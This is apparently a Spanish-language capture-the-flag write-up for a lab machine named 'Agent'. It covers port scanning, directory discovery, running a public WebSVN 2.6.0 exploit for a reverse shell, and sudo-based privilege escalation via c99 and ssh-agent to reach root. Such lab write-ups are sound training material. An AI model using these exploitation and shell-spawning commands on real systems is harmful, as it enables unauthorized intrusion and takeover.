---
description: '🔍 Dificultad: Muy Fácil'
---

# Agent

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.100
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcDr2M1EU5hSHh3xDk3A1%2Fimage.png?alt=media&#x26;token=627066ad-518c-4868-ae02-795fd0c1303f" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.100 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3Y8Qgon9V2Npr9I00yUb%2Fimage.png?alt=media&#x26;token=0c83087d-7834-42be-8a58-19213256c1b9" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.100
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuBRvtWlDYyKZXVzlSVtP%2Fimage.png?alt=media&#x26;token=2fd7752f-ee6d-4a16-8032-88ab96997734" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80. Corre un servidor Nginx.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfwDO69EprYxdO2oiOZET%2Fimage.png?alt=media&#x26;token=79070852-1d7f-46a1-9fcb-256eb2ace8dc" alt=""><figcaption></figcaption></figure>

Revisamos directorios.

```
dirb http://192.168.1.100/
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FotPYFy9PCOa5xbbZt2hO%2Fimage.png?alt=media&#x26;token=ba56d4ab-63bb-47f1-901c-2c6379c2172b" alt=""><figcaption></figcaption></figure>

Encontramos un directorio llamado **/websvn**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FbWC5Yd4oY5qhJMPT2jLY%2Fimage.png?alt=media&#x26;token=c6e063b9-3bc5-49a9-8bc0-9a8007f4658a" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Comprobamos que la versión sea vulnerable.

```bash
searchsploit websvn 2.6.0
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FaqJbQj3po0cSi8Q20kf9%2Fimage.png?alt=media&#x26;token=7e1fef45-3841-434e-84cb-4d99eef2a382" alt=""><figcaption></figcaption></figure>

Nos lo descargamos y cambiamos la IP para una Reverse Shell.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FVSQlY0VPeA649XjeZb1T%2Fimage.png?alt=media&#x26;token=9a89a453-8c59-436c-8e23-466e14032178" alt=""><figcaption></figcaption></figure>

Ejecutamos mientras estamos en escucha.

```bash
python3 50042.py "http://192.168.1.100/websvn"
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvDM8ZqZJrAsUILo0pLCV%2Fimage.png?alt=media&#x26;token=8e247ec6-3b29-4ff9-87a8-a44b36abe523" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FqTV8yuZ3IGUiCOdynzsr%2Fimage.png?alt=media&#x26;token=92a9e038-02ab-450a-ac37-30284c97254b" alt=""><figcaption></figcaption></figure>

{% embed url="https://gtfobins.github.io/gtfobins/c99/#sudo" %}

```bash
sudo -u dustin /usr/bin/c99 -wrapper /bin/sh,-s .
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCo7v64RoEYsJ6wUPkbmk%2Fimage.png?alt=media&#x26;token=0396b833-f698-47fb-ac42-52bbfe1485fe" alt=""><figcaption></figcaption></figure>

Realizando el mismo proceso encontramos que **dustin** tiene permisos SUDO en el binario **ssh-agent**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZnwaS2lhcc7Gua5YQMsY%2Fimage.png?alt=media&#x26;token=fb3160f8-ff54-447b-92f5-820632c64efd" alt=""><figcaption></figcaption></figure>

{% embed url="https://gtfobins.github.io/gtfobins/ssh-agent/#sudo" %}

```bash
sudo -u root /usr/bin/ssh-agent /bin/bash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FzeP8qVK46EMCXF4LKNiT%2Fimage.png?alt=media&#x26;token=88d6d90e-17ce-428b-a472-1377010aaf38" alt=""><figcaption></figcaption></figure>
